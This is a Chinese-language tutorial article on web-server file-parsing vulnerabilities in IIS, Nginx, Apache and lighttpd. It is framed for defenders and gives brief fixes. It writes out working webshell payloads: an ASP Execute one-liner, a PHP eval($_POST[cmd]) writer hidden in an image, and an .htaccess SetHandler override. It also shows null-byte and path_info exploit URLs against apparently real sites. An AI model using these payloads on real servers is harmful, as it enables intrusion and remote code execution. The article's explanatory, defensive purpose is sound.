首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全之文件解析漏洞

安全之文件解析漏洞

作者头像
全栈工程师修炼指南
发布2022-09-29 14:07:15
5580
发布2022-09-29 14:07:15
举报

注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。

0x01 IIS 5.x/6.0解析漏洞

其中IIS 6.0解析利用方法有两种,目录解析后缀解析; (1) 第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。 /xx.asp/xx.jpg

(2) 第二种,在IIS6.0下,分号后面的不被解析,IIS6.0 都会把此类后缀文件成功解析为 asp 文件 wooyun.asp;.jpg { /xx.asp;.jpg 此类文件在Windows下不允许存在,;.jpg被自动除去,剩下/xx.asp }

文件解析构造: 默认解析:/xx.asa /xx.cer /xx.cdx IIS6.0 利用目录解析漏洞 除了asp还包含 : /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg Echo “<%Execute(request(“a”))%>”>> d:\webroot\1.cer

0x02 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

nginx是一款高性能的web服务器,使用非常广泛其不仅经常被用作反向代理,也可以非常好的支持PHP的运行,Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的; 漏洞成因:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中fastcgi方式下 cgi.fix_pathinfo是开启的 cgi.fix_pathinfo=1.,

#涉及版本:php5.2.12 php 5.3.1(Default)

在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,在默认Fast-CGI开启状况下 ,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

copy xx.jpg /b + yy.txt /a xy.jpg
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件

上传后访问: http://bbs.youxi.56.com/attachments/swfupload/1307311753b2bbb5703bb3deb3.jpg/.php

另外一种利用方法:http://www.oxen.com/evil.jpg/test.php

通过正则匹配, script_name会被设置为evil.jpg/test.php,然后传递给 php FASTcgi, php会认为script_name为evil.jpg,而test.php为path_info,然后php把evil.jpg当做一个php文件来解

修护建议: 如果厂家没有选择关闭cgi.fix_pathinfo的方式进行修补,有很多人的php-fastcgi是配置成”location ~ .*.(php|php5)?$”形式的。

使用cgi.fix_pathinfo=0的方式,一劳永逸,或者根据自己网站的php-fastcgi设置,定制一个url屏蔽列表。 http://www.80sec.com/nginx-securit.html http://forum.dev.sdo.com/robots.txt/s.php5

0x03 Nginx <8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37 Nginx在图片中嵌入PHP代码然后通过访问;

xxx.jpg%00.php
http://bbs.youxi.56.com/attachments/swfupload/1307311753b2bbb5703bb3deb3.jpg%00.php
#来执行其中的代码,相当于%00将jpg吃掉了
0x04 Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断. 比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀 Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止.

后缀解析:test.php.x1.x2.x3 经验之谈:php|php3|phtml //多可被Apache解析

0x05 lighttpd 解析漏洞

类似于最上面的Ngnix的解析漏洞;xx.jpg/xx.php

0x06 其他文件解析漏洞

(1) 在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell。

我记得Fckedit PHP 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}

(2) 如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

SetHandler application/x-httpd-php #在追踪ip哪里使用到这个技术; 然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-08-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 IIS 5.x/6.0解析漏洞
  • 0x02 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
  • 0x03 Nginx <8.03 空字节代码执行漏洞
  • 0x04 Apache解析漏洞
  • 0x05 lighttpd 解析漏洞
  • 0x06 其他文件解析漏洞
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档